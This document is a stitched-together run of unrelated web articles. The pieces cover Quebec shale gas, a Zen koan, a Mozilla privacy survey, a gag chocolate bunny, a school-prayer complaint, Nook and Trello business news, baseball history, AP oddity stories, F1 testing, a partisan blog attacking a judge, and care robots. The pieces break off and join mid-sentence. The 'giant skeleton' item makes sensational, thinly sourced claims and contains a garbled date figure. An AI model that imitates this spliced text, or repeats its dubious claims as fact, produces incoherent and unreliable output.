when, in the United States, the Obama administration is eager to exploit the resource to reduce fossil- fuel emissions and achieve energy independence. Finally, he asked, why not consider studies that suggest shale gas can be exploited safely while creating jobs? “In any case a government decision to formally impose a moratorium would be a little bit like kicking in an open door,” Mr. Bouchard added. “Because for the last two years, and certainly for the next two or three, there has not been and there won’t be any exploration — let alone production — of shale gas on Quebec’s territory.” Ms. Ouellet was not available Friday to comment on Mr. Bouchard’s remarks, according to a staffer who answered the phone at her riding office.I came upon this koan this morning, and it felt like a perfect follow-up to yesterday’s post: Groundhog Day and the serious problem of impermanence May this koan be a gentle nudge, or thunderclap, that leads to awakening—just this. Coming empty-handed, going empty-handed — that is human. When you are born, where do you come from? When you die, where do you go? Life is like a floating cloud which appears. Death is like a floating cloud which disappears. The floating cloud itself originally does not exist. Life and death, coming and going, are also like that. But there is one thing which always remains clear. It is pure and clear, not depending on life and death. Then what is the one pure and clear thing? from Zen Master Seung Sahn ♥♥♥Privacy and security are major concerns when it comes to life online, but a survey by Mozilla reveals that a worrying number of people do not know how to stay in control of them. The company also found that a third of people feel they have no control over their information online, with a similar number confessing to knowing "very little" about encryption. But these are not the only concerns of internet users. Mozilla also asked about people's greatest online fears. Topping the list is "being hacked by a stranger" (a fear held by 80 percent of people), and "being tracked by advertisers" (61 percent). As well as presenting the results of its survey, Mozilla also has some important advice. The survey results reveal the thoughts of 30,000 internet users. Mozilla notes: "We recycle passwords, we run outdated software and we volunteer personal information for a free coupon. If this same carelessness carried over to the physical world, our wallets might be a lot lighter. And our neighbors might know a lot more about us than we want. Why is that? And what can we do to fix it?" To answer "why?", the answer seems to be ignorance -- perhaps with a dash of laziness when it comes to self-education. 90 percent of people said they don’t know much about how to protect themselves online -- Mozilla says that a good starting point is to ensure that all software is kept fully up to date. Privacy is also a major concern with people feeling a general lack of control over their personal information -- Mozilla suggests using private browsing modes. While a third of people admitted to knowing nothing, or next to nothing about encryption, Germans are usually clued up: 85 percent of German respondents have some knowledge of encryption. Despite a generally poor knowledge of security, most people (two thirds) said they would not be willing to attend a training session to learn about secure tools. We've already mentioned some of the fears people have, and other interesting findings include the revelation that 40 percent of people are concerned about being harassed online. 7 percent fear friends or family accessing private accounts. It seems that the internet -- as well as how it has developed, and how data is used -- has turned us into a paranoid bunch. Asked who they would trust for information about online privacy, 56 percent would turn to non-profits, 13 percent would trust the government, and a mere 5 percent would put their faith in social media. Check out the full results of the survey in Mozilla's post on Medium.Delicious braiiii-- no, white chocolate! Chocolate Zombie Bunny will destroy you all The virus has turned his flesh to delicious white chocolate Save the world; bite his head off! Spring has sprung and all the little woodland creatures are... screaming and hippity-hopping for their lives? It's a zombie bunny, and double-bopping him on the head isn't going to stop his murderous rampage. This is no ordinary rabbit! It's the most foul, cruel, and bad-tempered rodent lagamorph you ever set eyes on! He's not going to nibble your bum; he's going to tear you limb from limb with his nasty, pointy teeth. It's a good thing the virus turned his flesh to delicious white chocolate. All you need to do is sneak up on him (easier said than done, we've lost several warehouse monkeys to rabbit attacks) and once you've nabbed him, take him out quickly. Use your teeth, brave Knight! Grasp the rabbit firmly in your hands, shove his head in your mouth, and behead him with a single chomp. The cleverest amongst you may notice this item was one of our gag products for April Fools. Problem is the gaggle of regular chocolate bunnies usually available for mid-morning snacks at the ThinkGeek office somehow became infected with a deadly T-Virus. Rather than allowing these delicious infected rabbits to rampage and attack the ThinkGeek staff we decided to ship them to your house... thus turning April Fools into reality. Please enjoy. For nutrition information, click here. Product SpecificationsFlowood, Mississippi — A national humanist organization is outraged after learning of a recent school assembly in Mississippi where a representative from a local church shared messages with the youth about teen struggles and offered hope in Jesus Christ. The American Humanist Association, whose motto is “Good Without a God,” has sent a letter to Northwest Rankin High School in Flowood to demand that the event never happen again. According to reports, on April 9th, a representative of Pinelake Baptist Church participated in a student-organized assembly that included a video dealing with teen problems, such as premarital sex, drugs, cutting, suicide and other issues. The two individuals featured in the film explained that they were able to overcome their struggles through the power of Jesus Christ. The presenter also spoke to students about the hope that is found in Christ, and led students in prayer. While the American Humanist Association contends that the assembly was mandatory for all students, the district disagrees. It states that the event was both organized and hosted by students who desired to present the assembly to their classmates. “Our students have the freedom to organize student-led and planned meetings, and the assembly in question was student-led and organized,” it outlined in a statement. The Appignani Humanist Legal Center in Washington, D.C., a branch of the the American Humanist Association, nonetheless sent a letter to school officials, rebuking them for permitting the event. “This practice is unquestionably a serious violation of the separation of church and state required by the Constitution,” the letter stated. “Pursuant to Supreme Court precedent, the school’s sponsoring of and affiliation with, as well as endorsement of, Christianity through this event was unconstitutional.” Connect with Christian News Follow @4christiannews “It is sufficient that the presentation was school-sponsored and held on school grounds during class-time,” it continued. “The fact that this event was mandatory, and was promoted by the school principal only compounded the Establishment Clause violation.” The Center then demanded that all events of similar nature be terminated, insinuating that a lawsuit could be filed against the school if it refuses to act. “The event promoted by this school was conducted during class-time and was mandated by the principal. It has hard to imagine a more blatant violation of the Establishment Clause than the one complained of herein,” it stated. “The law prohibiting this type of endorsement and coercion is well-settled. As such, not only will the school, in its official capacity, be liable for this constitutional infringement pursuant to 42 U.S.C.A. § 1983, but the school officials responsible for the event will be personally liable too, in their individual capacities.” Some advise that student-led religious activities are common in the South. “Hardly surprising since it’s Mississippi,” one commenter stated. “At my kids’ Southern public school, they sometimes had student-led prayer,” another advised. “[T]he students voted on it and wanted to have a prayer.” One humanist stated that it was more troubling that students wished to offer hope in Christ to their fellow classmates than if the event had been organized by school officials. “So the students have the power to force other students to listen to religious propaganda? That’s somehow even worse,” they wrote. “It’s not the school standing in loco parentis, it’s their peers.”Barnes & Noble announced a software update for its Nook e-reader, complete with new features such as a Web browser and games, on April 23. The new features include the beta version of "Read In Store," which allows Nook users to browse the retailer's library of e-books for free at any Barnes & Noble location, with the entirety of each book accessible for an hour per day. Barnes & Noble has also added the beta version of a basic Web browser, and a selection of Android-based games including Sudoku and chess. "We've also made additional reading and device performance enhancements including improved page turn speed, faster access to previously opened e-books, enhanced color touch-screen navigation and more," Paul Hochman, manager of Content and Social Media at BarnesandNoble.com, wrote in an April 23 posting on the Nook and BN eReader blog. "The new features and additional enhancements are available with the updated Nook software now available via manual download at www.nook.com/update." Hochman's allusion to faster book access and page-turn speed seems to be a reference to early reviews for the Nook, some of which claimed that slowness and some unpolished features represented the biggest drawbacks for the device. Registered Nooks with WiFi connectivity will automatically download the software, a process that Hochman suggests will take between 5-7 minutes, at some point within the next week. Barnes & Noble's announcement comes at a time when the bookseller finds itself in strengthening competition against not only Amazon.com and its bestselling Kindle e-reader, but also Apple's iPad, whose e-books application is considered a viable threat to traditional e-reader devices. In addition to selling the Nook through its Website and bookstores, Barnes & Noble also recently inked a deal with Best Buy to sell the device; that move will soon be mirrored by Amazon, which plans on selling the Kindle at Target stores starting on April 25. Under the terms of the agreement with Best Buy, Nook e-reader software will be loaded onto a selection of the electronics retailers' PCs and smartphones. Both Barnes & Noble and Amazon.com have issued e-reader applications for the iPad, hoping to extend their brands even onto a device meant to take their market share. Although some analysts originally pigeonholed e-readers as a niche item, the devices managed to gain substantial traction during the 2009 holiday shopping season, with both Amazon.com and Barnes & Noble claiming their devices to be some of the most heavily sought-after items through their respective channels. The competition between the Nook and Kindle also led to something of a price war, with the retail cost of both devices eventually hitting $259.New information on Aoki contract MLB.com/blogs Blocked Unblock Follow Following Jul 1, 2013 By Adam McCalvy Contrary to previous reporting, and with potential implications for the July 31 nonwaiver Trade Deadline, Brewers outfielder Norichika Aoki will be a free agent when his current contract expires after this season or next. Previously, a club official told MLB.com that Aoki’s two-year contract, which runs through the end of 2013 and has a $1.5 million option for 2014, did not include language calling for the Brewers to release him when that deal is up. Under that scenario, assuming the Brewers exercised his ’14 option (a near certainty considering Aoki’s successful transition to the U.S. Major Leagues and reasonable price tag), Aoki would have had three years of arbitration-eligibility from 2015–17 and would have remained Brewers property. But that is not the case, according to Aoki’s agent, Nez Balelo of CAA Sports, and Brewers assistant general manager Gord Ash, who double-checked the language in the contract on Monday. It includes language stipulating Aoki will be an untethered free agent at the end of his current deal, whether or not the Brewers exercise their option. That is common practice for players making the jump from Japan to the U.S. like Aoki, who was a three-time batting champion for the Tokyo Yakult Swallows. That team posted Aoki in December 2011, and the Brewers won negotiating rights with a $2.5 million bid, then signed Aoki to a two-year deal that guaranteed $2.5 million plus incentives. Aoki, 31, entered Monday batting.284 with a.362 on-base percentage, 43 runs scored and nine stolen bases. Considering he is at most a season and a half from free agency, and the Brewers are expected to be sellers at the Trade Deadline, Aoki could be an appealing trade chip. Brewers general manager Doug Melvin has already fielded calls about his relievers, including right-handers John Axford and Francisco Rodriguez, and has indicated an openness to making trades with an eye toward the future. The Brewers have a strong stable of outfield prospects, including Logan Schafer, who began this season as a Major League reserve but has been playing regularly with left fielder Ryan Braun on the disabled list, and Triple-A Nashville’s Khris Davis, Caleb Gindl and Josh Prince. Davis and Gindl are each on MLB.com’s list of the top 20 Brewers prospects (Davis at №14 and Gindl at №16), as are Double-A Huntsville’s Kentrail Davis (№19), advanced Class A Brevard County’s Mitch Haniger (№10) and Class A Wisconsin’s Victor Roache (№7) and Tyrone Taylor (№13). * Follow me on Twitter @AdamMcCalvyA team of archaeologists have uncovered the skeletal remains of a giant in the Bulgarian city of Varna. Located on the eastern shores of the Black Sea, Varna is now a major tourist attraction. The area has a rich culture and its history goes all the way back to 5,000 BC. The oldest golden treasure in the world was found during excavations at the Varna Necropolis and carbon dating revealed it was buried more than 6,500 years ago. In the 7th century BC, the Greeks founded a trading post called Odessos in what is now Varna. It was populated by a mix of Greeks and Thracians. Towards the end of the second century AD, Odessos was turned into a Roman retreat and renamed Odessus. The giant skeleton was found earlier this month, buried near the remains of Odessus’ ancient city wall. It is estimated the giant human lived and died during the 5th century AD. Valeri Yotov, a member of the excavation team was quoted as saying the size of the bones was “impressive” but refused to provide exact details. As we started to uncover the ancient fortress wall, we began asking ourselves a lot of questions, and, of course, we had to keep digging to reach the wall’s foundations. That’s how we stumbled upon the skeleton,” he said. The skeleton’s posture is a clear indication that the man was buried in a ceremonial fashion. Its hands are laid on its waist, the head is pointing to the east and its head to the west. Until further details are released, we can only speculate on the subject. If the skeleton is indeed of gigantic proportions, it would constitute a major archaeological breakthrough and it would be even better if this discovery wouldn’t be swept under the rug eventually. That being said, this wouldn’t be the only giant skeleton uncovered in Eastern Europe. In the summer of 2012, archaeologists made a similar discovery near the Romanian town of Carei. The excavation of a 5,0000 year-old Bronze Age settlement uncovered the remains of an 8-ft. tall warrior, buried with a dagger next to his head. Back then, the average height was around 5 feet, making the owner of this skeleton a true giant among his peers.Michael Joseph "King" Kelly (December 31, 1857 – November 8, 1894), also commonly known as "$10,000 Kelly," was an American outfielder, catcher, and manager in various professional American baseball leagues including the National League, International Association, Players' League, and the American Association. He spent the majority of his 16-season playing career with the Chicago White Stockings and the Boston Beaneaters. Kelly was a player-manager three times in his career – in 1887 for the Beaneaters, in 1890 leading the Boston Reds to the pennant in the only season of the Players' League's existence, and in 1891 for the Cincinnati Kelly's Killers – before his retirement in 1893. He is also often credited with helping to popularize various strategies as a player such as the hit and run, the hook slide, and the catcher's practice of backing up first base.[1] In only the second vote since its creation in 1939 the Old Timers Committee (now the Veterans' Committee) elected Kelly to the Baseball Hall of Fame in 1945. In concluding where to truly give Kelly credit as an innovator, a 2004 book devoted to 19th-century rule bending in baseball—and which came close to exhaustively accounting for all contemporary reporting on various subjects—placed stress on the following: "Kelly's hook slide does sound special, and players probably tried to copy it. Also, he seems to have been the first big leaguer to successfully cut a base (when the usually lone umpire wasn't looking), at least according to the newspaper record." And, "Kelly could have been the first to foul off lots of pitches on purpose. Doing so was a top trick of some Baltimore players of the 1890s. At the turn of the century, that trick was defused when all foul balls began counting as strikes."[2] Kelly's autobiography Play Ball was published while he was with the Beaneaters in 1888, the first autobiography by a baseball player; it was ghostwritten by Boston baseball writer John J. "Jack" Drohan. Kelly also became a vaudeville performer during his playing career, first performing in Boston where he would recite the now-famous baseball poem "Casey at the Bat", sometimes butchering it. Kelly's baserunning innovations are also the subject of the hit 1889 song entitled "Slide, Kelly, Slide" and a 1927 comedy film of the same name. Early life [ edit ] Kelly was born in Troy, New York to Michael Kelly Sr. and his wife Catharine, both Irish immigrants. Upon the outbreak of the American Civil War, his father joined the Union Army, and Mike likely learned to play baseball while living with his mother and younger brother James in Washington, D.C.. After the war, his ill father moved the family to Paterson, New Jersey. Kelly's parents apparently died within about five years of each other and he was orphaned by age 18. A best guess, based on tracking Paterson city directories, is that his father died around 1871, and his mother around 1876, when Michael was 18. According to the 1870 census, a Michael Kelly of his age was working in a silk mill in Paterson as of that year.[3] Early career [ edit ] By 1873, the fifteen-year-old Kelly was good enough to be invited to play baseball on Blondie Purcell's amateur team in Paterson, which played teams throughout the New York metro area, including the Brooklyn Atlantics from the National Association. From 1875 to 1877, he played three seasons as a semi-pro: in Paterson and then other cities. In 1877, he was with the Paterson Olympics until around June 10, when he joined the Delawares of Port Jervis, N.Y. In mid-July, a Paterson paper said he had signed with a Springfield, Ohio, team after rejecting a Port Jervis offer of $70 a month. A few weeks later, Port Jervis had not played again when he signed "with the celebrated Buckeye club of Columbus, Ohio."[4] He made his big league debut in 1878 with Cincinnati. In 1877, Kelly's friend Jim McCormick was signed to play for the Columbus Buckeyes of the International Association, and he recommended that his friend Mike be signed to be his catcher. The year after that, Kelly signed to play for the Cincinnati Reds, then known as the Red Stockings. Although the concept would come later, Mike Kelly was now a major leaguer. Career in Chicago [ edit ] After playing in Cincinnati for two years as an outfielder and backup catcher, Cincinnati and Chicago White Stockings players went on a tour of California. While there, Chicago secured him for 1880, then-Chicago Secretary Albert Spalding doing the signing. Later from San Francisco, Kelly wrote Spalding, who was back in Chicago, "Cincinnati Club has gone back on us. Please send expenses. Am broke." Cincinnati had fallen on hard times by 1879 and released all their players at the end of that season to save having to pay them a last paycheck.[5] As of 1879, Chicago was the most important city financially in the National League, as it drew the best attendance for teams taking long train rides from the East Coast. Kelly was now a young, good-looking man in the big city with money in his pocket. Rather than buying a house, he immediately moved into the Palmer House, the loudest, brashest, most garish and, according to its literature, "fire-proof" hotel in the world. As a member of the White Stockings, he was annually among the league leaders in most offensive categories, including leading the league in runs from 1884 through 1886 (120, 124 and 155 respectively), and batting in 1884 and 1886 (.354 and.388). One of the best defensive catchers in baseball, he was also one of the first to use a glove and wear a chest protector. Chicago won five pennants while Kelly played for the White Stockings. Career in Boston [ edit ] After the 1886 season Spalding sold Kelly to the Boston Beaneaters for a then-record $10,000, after Kelly balked at returning to the club. Right before the sale, Chicago writer Happy Palmer quoted Spalding about his plans to manage Kelly: "Oh, tie him up, I guess, if he really is averse to playing here. He may have his ugly up, and I guess from the way he is holding out in his refusal to sign that that is the case. All right, though. I am willing, and if he keeps on in that spirit I’ll make him eat hay with his horses before he is much older. He has been mad long enough now, and it is pretty near time somebody was getting mad at this end of the line. One thing I can certainly predict and that is that if Mr. Mike Kelly does not sign a contract with Chicago pretty d--d quick, he will have cause to regret it. That is all."[6] As a result of the sale, he became known as the "$10,000 Beauty." In 1881, actress Louise Montague had been so dubbed after winning a $10,000 contest for handsomest woman in the world.[7] It was in Boston that Mike became "King" Kelly, although he was still overwhelmingly referred to as "Mike" or "The Only" in contemporaneous reporting. As a member of the Beaneaters, he continued to be a key run-producer, scoring 120 runs in 1887 and 1889. He continued to play well and was a great box office draw, but Boston didn't win any pennants. Freed from the watchful eye of Spalding and Anson, Kelly became less self-disciplined. One day in 1888, Boston player-manager John Morr
scheduled to end Sunday. At 1 p.m. Tuesday, before the item was taken down, the bidding had reached $80,700.00. They Send the Terminator to Collect Overdue Fees VALPARAISO, Ind. (AP) — There will soon be a new librarian at work at Valparaiso University. This librarian won't get any days off because it's a robot. About half the library's collection is being placed in steel bins, so robotic arms can fetch the books 24 hours a day. The robot limbs will drop the books off at a station where the human librarians can pull them out. It's just one of the many modern features the Christopher Center for Library Information Resources will offer. The four-story, $33 million building will have plenty of computer and study space, large classrooms, a cafe and four lounges with gas fireplaces. "The building is very high-tech," Rick AmRhein, university librarian, said. The current library has 450,000 books, but the university hopes to have as many as 600,000 in the new one. A Quiet Dinner With Man's Best Friend HONOLULU (AP) — Cpl. Rita Levergood and her husband disagree whether four-legged members of their family should be able to join them out to dinner. The state, however, is clear: It's against the law. A state senator's proposal going before a Department of Health committee this week would make it easier for animal lovers like Levergood to dine out with the pets they say are like family. "I hate to leave them at the house by themselves," said Levergood, 21, who owns two dogs. "I most definitely would like to bring them." Sen. Fred Hemmings, a Republican, wants to see state health rules eased to give restaurants the option of allowing dogs into outdoor seating areas. His request faces a vote Thursday by the state's Advisory Council on Food Protection Practices. If it is adopted, Hawaii would join 21 other states with similar pet-friendly dining rules, according to Tara Kain of DogFriendly.com. Current Hawaii health regulations ban pets from food establishments. Violators face fines and, for repeated offenses, closure. It was at a small cafe in the French resort Biarritz that Hemmings came up with the idea of relaxing the regulations. He says he still can't erase the memory of an elderly woman whose tiny dog was seated beside her. "I would have to surmise that this dog was a very important part of this woman's life," he said. Diamonds in the, Um, Rough SALEM, N.H. (AP) — It took a little patience and a little medicine for Salem police to recover a stolen $10,000 diamond ring over the weekend. Police say Kevin Lynch of Boston, 38, admitted stealing and swallowing a 2½-carat diamond ring set in platinum from a jewelry store on Friday. They caught up with Lynch in a restaurant, one of two men whom they say drove away from the store in a stolen Jeep Cherokee and later abandoned the vehicle. Lynch gave police permission to search him. An X-ray showed the ring was lodged in his digestive tract. Doctors gave Lynch medication to move things along and police recovered the ring Sunday morning. Lynch is charged with theft. Police do not believe he intended to steal the ring as a Valentine's Day gift. Hairy Monkey Delivers Message of Love GRAND ISLAND, Neb. (AP) — Does "You Are So Beautiful" mean more when sung on bended knee by a gorilla? It did to three employees at Zwink State Farm Agency in Grand Island, who were recently serenaded by a crooner in a gorilla suit. Holly Fitch, who works at the agency, conspired with her co-workers' loved ones to arrange for the musical missives as a special Valentine's Day treat. "It was awesome. It turned out great," Fitch said. The three lucky ladies were Darlene Zwink, Judy Price and Amye Lilienthal. The secret serenader inside the suit was Celeste Haveln, an employee at a flower shop owned by Fitch's mother and brother. "It was very interesting," said Zwink. "It was a surprise." Price said the unique Valentine delivered Thursday on behalf of her fiancé brought her little closer to the wild kingdom than she's used to. "I have never been hugged by a gorilla before," Price said. "That was a first." Compiled by Foxnews.com's Paul Wagenseil. Got a good "Out There" story in your hometown? We'd like to know about it. Send an e-mail, with a Web link (we need to authenticate these things), to outthere@foxnews.com.After 12 days of pre-season testing there is now a mad dash for the F1 teams to get their equipment back from Barcelona and to finish the build of the second chassis ready to be air freighted out to Australia later this week. So what have we learned from the winter tests? And what can we expect in Melbourne and the opening long haul races? With the help of JA on F1 technical expert Dominic Harlow, we can analyse the long run performances and draw some conclusions. The first thing to say is that the cars are much faster than last season. The pole time in Barcelona last year was 1m25.232s and Nico Rosberg did 1m22.792s on Day 2 of the final test. Pirelli is estimating between two and two and a half seconds per lap improvement. Certainly the cars look faster when you stand trackside to watch them and they fly down the straights! To give fans a sense of the relative pace of the teams we have charted the long runs from Day 2 - Friday (below), which was a good day for running with nice, stable track conditions. Note that the figures up the vertical axis are the lap times with the faster times shown in numbers closer to the bottom on the chart. The horizontal axis is the lap number, with the times later in the day shown to the right. The colour code of the traces is as follows: Rosberg: Silver; Bottas Blue X; Vettel- Red; Verstappen purple; Kvyat Light Blue; Nasr dark blue; Button silver line/orange dot; Hulkenberg Orange line; Maldonado black line/orange dot. Click on chart to enlarge. If we wanted to estimate the underlying pace of the cars from this data it might give us this kind of ranking: Fastest - Mercedes +0.8-1.0s/lap – Williams +1.0-1.2s/lap – Ferrari +1.2-1.5s/lap – Red Bull Racing / Toro Rosso +1.5-2s/lap – Sauber / Lotus / Force India / Mclaren Therefore from the first three teams (Mercedes, Williams and Ferrari) backwards it seems quite close. The fight for teams to get the final two or three places in the Q3 part of qualifying could be particularly interesting in the early races, we believe. One would expect Red Bull to prevail in qualifying over Toro Rosso and the others but they all seem to have the potential to be pushing for the P5-P10 positions in the races. Drilling down into the Race Simulations from Saturday and considering them as if they were a full race is quite instructive. A few drivers did a full 66 laps, and some were a few short so we have had to use some extrapolation of fuel and tyre effects to calculate their overall time. We have then added in a constant pitstop time depending on the number of stints they did. The ‘Result’ looks like this: Obviously Mercedes would be P1 if they had done a Race run. The other positions support the general feeling laid out above on the performance ranking. Judging from the times on Friday and Saturday, the top speeds for Williams and Ferrari were similar and right up at the top of the tables, but at the same time the downforce dependent Sector 3 times for both cars were only a tenth and a half of a second off the Mercedes, which indicates a strong package for both cars. Massa's long runs on Day 3 were a little stronger than Bottas on Day 2 above, so Williams may feel they are shading it going into Melbourne. Another key factor will be qualifying performance. This has been a weakness for Ferrari for a number of years now, while Williams qualified very strongly in 2014, especially towards the end of the season. Ferrari must address this if they are not to start on the back foot in races. Ferrari has not had a pole since Germany 2012 and the last two years Fernando Alonso virtually owned fifth place on the grid. HIs best grid slot in 2014 was 4th with Raikkonen's best 6th. In 2013 they had one front row start and only six Row 2 starts. Vettel and Raikkonen will be looking for a big improvement there, to get them up consistently onto the second row with Williams from the outset. Red Bull is down on straight line speed, which will improve as the engine developments come on stream into the summer. One would never bet against this team, but they now have to deal with Ferrari having clearly moved ahead in the power stakes with a rumoured gain of 80hp, compared to a rumoured 30hp gain for Renault at this stage and another 30hp or more for engines Three and Four. Williams continues to benefit from Mercedes power. The use of engine development 'tokens' during the season is likely to cause some movement in the relative pecking order. Ferrari's plan is believed to be to bring an update to Engine Two in Spain and another to Engines Three and Four in the summer. Other notes from the final test were that the Red Bull looked faster in Daniel Ricciardo's hands than his new team mate Daniil Kvyat's, as you might expect at this stage. The Mercedes powered Lotus and Force India cars didn't have notable race pace in comparison with the Ferrari powered Sauber and particularly the Renault powered Toro Rosso, which looked particularly good in Max Verstappen's hands on long runs. He has caught the eye of most knowledgeable observers during the testing season and has the edge on Carlos Sainz, it appears. At Sauber both drivers have work to do and there is certainly lap time in them both, so they should develop as the season goes on and the car looks capable of taking the team back into the points. Felipe Nasr appears to have the edge on Marcus Ericsson, based on the data from the final test. JA on F1 Estimated Comparison of Constructors' Final Standings 2014 vs Race Pace @Start 2015 In terms of the tyres, they are more durable than last year, with a slightly different construction. The longest medium tyre stint in testing was 26 laps, while the soft did 15 laps. Last year Pirelli took medium and hard to Barcelona for the race. It was noticeable that some cars struggled to warm the medium and hard compound tyres up.Can somebody say ‘Recused’? Leftist activists shop around for complicit judges. Looks like they knew EXACTLY who they wanted for this case! It was a no-brainer. During a court hearing, Robart became “deeply personal,” as the Seattle Times noted, when he pointed to FBI statistics. “The importance, to me, of this issue is best demonstrated by the news, which was much reported again today,” Robart said with emotion. “According to FBI statistics, police shootings resulting in deaths involve 41 percent black people despite being only 20 percent of the population living in those cities. Forty-one percent of the casualties, 20 percent of the population. Black lives matter.” — Lifezette As they say in those late-night infomercials… ‘but wait! there’s more!’ ..Prior to Robart’s “black lives matter” statement, Sen. Orrin Hatch (R-Utah) praised him for his dedication to pro bono legal work representing refugees. “[Robart] has been active in the representation of the disadvantaged through his work with Evergreen Legal Services and the independent representation of Southeast Asian refugees,” Hatch said during Robart’s confirmation hearing, according to CNN. In his own words during his confirmation hearing, Robart described how he would approach the cases he considered. “I was introduced to people who in many times felt that the legal system was stacked against them or was unfair,” Robard said. “And one of the things, I think, that my time there helped accomplish was to show them that the legal system was set up for their benefit and that it could be, if properly used, an opportunity for them to seek redress if they had been wronged.” — Lifezette Say, isn’t there some sort of a rule about judges ruling on issues about which they are personally invested? We see him caring enough about the Refugee issue that he was ‘active in representing the disadvantaged … refugees’. Is that what ‘dispassionate’ looks like? ‘Arms-length’? Objective? And if not… Why did he even hear the case in the first place? You don’t suppose he WANTED to be a judicial activist… do you?Editor's note: Chris Atkeson is a professor at Carnegie Mellon University's Robotics Institute and Human Computer Interaction Institute. This commentary is based on a 15-year collaboration between CMU and the University of Pittsburgh on care robots and Quality of Life Technology. The opinions are the writer's own. For more on the future of technology, watch the upcoming GPS "Moonshots" special on December 28 at 10 a.m. and 1 p.m. ET. (CNN) -- Is the Disney movie "Big Hero 6," about a boy whose closest companion is Baymax, an endearing inflatable robot that comforts the hurt and gently nags teenagers to take better care of themselves, another unrealistic portrayal of robotics, or a prediction of a realistic future? True, the movie showed how a health-care robot could interact with humans, and provided a vision that will likely help drive interface design for a long time. But the problem is that these movies also can create expectations that are currently impossible to meet -- think Data in "Star Trek: The Next Generation", C3PO from "Star Wars," or any of the Terminators. I admit Baymax is partly my fault. Back in 2011, one of the movie's co-directors visited my lab at Carnegie Mellon University and saw our work on inflatable arms -- technology we were exploring with the idea that "soft safe robots" might someday be able to feed, dress, and groom our parents when they get old. But even though we might be years away from re-creating the physical abilities of Baymax, I believe that we are actually not all that far away from developing robots that might be able to play a significant role in our care. In fact, some elements of Baymax are already available, while others are just around the corner. For example, current technology already offers useful sensing, diagnosis and cognitive assistance for adults, and we are close to making useful robot servants with traditional metal robotics that can help older adults and people with disabilities take more control over their lives. One challenge that needs additional basic research is how to create robot companions that can touch and physically interact with people who need physical care. This would be of tremendous use as many professional caregivers are forced to quit due to the physical toll of moving patients. Of course, any robot in the home would need to be designed in a way that reduced the chance of it injuring someone, which is why, like Baymax, they would need to be extremely lightweight and probably inflatable. But this sort of technology already exists in some respects -- lightweight, inflatable devices are already strong enough and tough enough to lift cars and houses, as well as protect NASA probes landing on Mars. As well as having a gentle touch, a care robot should also be able to offer monitoring and diagnostic assistance -- a future capability we are already helping along with the growing popularity of wearable technology like Fitbit, Jawbone and other monitoring devices that can record data such as heart rate, body temperature, number of steps taken, estimated calories burned, as well as monitor sleep patterns and quality, and eating habits Interestingly, some of these devices go beyond reporting measurements and can "nudge" (or nag, depending on how you see it) their users to take breaks, drink more water or sleep more. The reality is, though, that although wearable technology might now be the rage, it is probably not going to be long before this can be supplemented by swallowed or implanted devices that have access to body fluids, whether it be in dental fillings and crowns (which would have access to saliva and breath), or something ingested or under the skin (to allow for bloodwork). Again, there is already a precedent for some of this -- astronauts have taken pills that measure and radio out their core temperature (a concern during spacewalks), while camera pills that observe the intestinal tract are sometimes preferred to more invasive colonoscopies. In fact, implantable devices are being developed that can perform blood tests. Collecting this degree of personal health data does of course raise privacy issues, and it will be important early on in all of this to ensure we follow the principle that users would own the data about themselves and have control over the way it is utilized -- not doctors, HMOs and other insurers, or companies that sell the devices. We got this wrong with credit cards, phones, communications and location -- all of which is sold and used in ways we aren't always aware of. These mistakes shouldn't be repeated. Interestingly, though, I've found that few people object to sensors taking measurements if they are mounted on a robot, since robots need to sense to serve us. All of this potential means a lot to me personally. My grandfather had ALS -- an awful, progressive neurological disease that eventually destroys the nerve cells that allow voluntary muscle use. I remember how my grandmother was unable to help my grandfather up when he slid out of his chair or otherwise ended up on the floor. She would call my family, and I would drive over and be her robot -- she provided the brains, and I provided the muscle. Eventually, I hope that family members in this position can be aided by actual robots. Indeed, I hope that the kinds of technology we are working on might not only be able to relieve the physical load on caregivers and enable older adults to live in their own homes longer, but could provide new and easier opportunities for regular screening for diseases such as cancer and dementia, and drug efficacy, side effects and interactions. The biggest challenge in building Baymax, unsurprisingly, is building a brain capable of useful human-robot interaction. Siri and similar question answering agents demonstrate the recent progress in this area of artificial intelligence, and could be the basis of a real-life Baymax as well. We can also take advantage of the patterns of our lives, which robots can currently learn. I expect that a human would learn to help the robot as much as the robot would be learning to help the human. And it's also important to remember that quality human-robot interaction matters. My other grandmother, who had become blind, was uninterested in early reading machines because the voices were not gentle or soothing. In the very short term, I see a future in which our phones or pocket computers communicate with sensors in our shoes, clothes, and even inside our teeth and bodies to track and improve our personal health on a minute-by-minute basis. But, ultimately, I see a world where personal health-care companions that will not only see us take a step forward in preventive medicine, but also help make some of the physical strains of getting older a little easier to bear for us and our loved ones. This future can start with building a Baymax. Watch Fareed Zakaria GPS Sundays at 10am and 1pm ET. For the latest from Fareed Zakaria GPS click here.Atlassian today announced that it has acquired project management service Trello for $425 million. The vast majority of the transaction is in cash ($360 million), with the remainder being paid out in restricted shares and options. The acquisition is expected to close before March 31, 2017. This marks Atlassian’s 18th acquisition and, as Atlassian president Jay Simons noted when I talked to him last week, also it largest. Just like with many of Atlassian’s other acquisitions, the company plans to keep both the Trello service and brand alive and current users shouldn’t see any immediate changes. Trello launched in the TechCrunch Disrupt Battlefield in 2011 and in 2014, it was spun out of Fog Creek Software as a stand-alone company. With Trello, Atlassian is acquiring one of the fastest growing project management services. It now has about 19 million users and just under 100 employees, all of which will join Atlassian. After it was spun out of Fog Creek, Trello raised $10.3 million from BoxGroup, Index Ventures, Spark Capital and others. “We’re super excited,” Simons told me. “They are a breakout product and have achieved incredible momentum.” It’s easy to see how Trello fits into Atlassian’s overall suite of productivity tools, which have increasingly targeted non-developers, too. At its core, Atlassian’s own JIRA project management service already features a Trello-like Kanban board, for example. That’s only a small part of what JIRA does, however, and for many potential users, a board is really all they need to keep track of their projects. JIRA also features a full-blown issue-tracking service, reports, and an on-premise version that enterprises can run on their own servers. With its Marketplace, Atlassian has also built a store for plugin developers and we’ll likely see many of Trello’s so-called “power-ups” migrate there over time. It’s also worth noting that both companies have taken similar marketing approaches that focus more on word-of-mouth recommendations and a freemium model than traditional enterprise sales. In our conversation, Simons also noted that he believes the cultures in both companies are very similar and that both share the same “big audacious goal:” to get to 100 million monthly active users. To get there, Atlassian has to go beyond its traditional market of developer teams and branch out into other verticals. It’s no surprise then, that the company’s press release specifically cites Trello’s popularity with business teams in finance, HR, legal, marketing and sales and notes that 50 percent of Trello users work in non-technical functions. Looking ahead, Simons said that Atlassian is committed to developing Trello. The company will put more resources behind the product and help the team scale. Atlassian is scheduled to report its Q2 results on January 19 and chances are we will hear a bit more about this transaction and how the company plans to integrate Trello’s services then.Barbell-centric fitness facility 